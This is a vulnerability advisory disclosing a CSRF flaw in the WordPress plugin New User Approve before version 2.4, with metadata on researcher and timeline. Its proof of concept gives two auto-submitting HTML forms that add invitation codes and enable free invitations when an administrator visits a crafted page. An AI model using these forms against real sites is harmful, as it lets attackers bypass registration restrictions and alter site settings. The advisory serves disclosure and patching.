WordPress Plugin Vulnerabilities
New User Approve < 2.4 - Arbitrary Settings Update & Invitation Code Creation via CSRF
Description
The plugin does not have CSRF check in place when updating its settings and adding invitation codes, which could allow attackers to add invitation codes (for bypassing the provided restrictions) and to change plugin settings by tricking admin users into visiting specially crafted websites.
Proof of Concept
Add codes: <form id="test" action="https://example.com/wp-admin/admin.php?page=nua-invitation-code" method="POST"> <textarea name="nua_manual_add[codes]">test sesame-open let-me-in </textarea> <input type="text" name="nua_manual_add[usage_limit]" value="99"> <input type="text" name="nua_manual_add[expiry_date]" value="2022-04-30"> <input type="text" name="nua_manual_add[submit]" value="Save Changes"> </form> <script> document.getElementById("test").submit(); </script> Update Settings: <form id="test" action="https://example.com/wp-admin/admin.php?page=nua-invitation-code&action=Settings" method="POST"> <input type="text" name="nua_free_invitation" value="enable"> <input type="text" name="nua_inv_code_submit" value="Save Changes"> </form> <script> document.getElementById("test").submit(); </script>
Affects Plugins
References
CVE
Classification
Type
CSRF
OWASP top 10
CWE
CVSS
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Original Researcher
Daniel Ruf
Submitter
Daniel Ruf
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-06-01 (about 1 years ago)
Added
2022-06-01 (about 1 years ago)
Last Updated
2023-02-28 (about 1 years ago)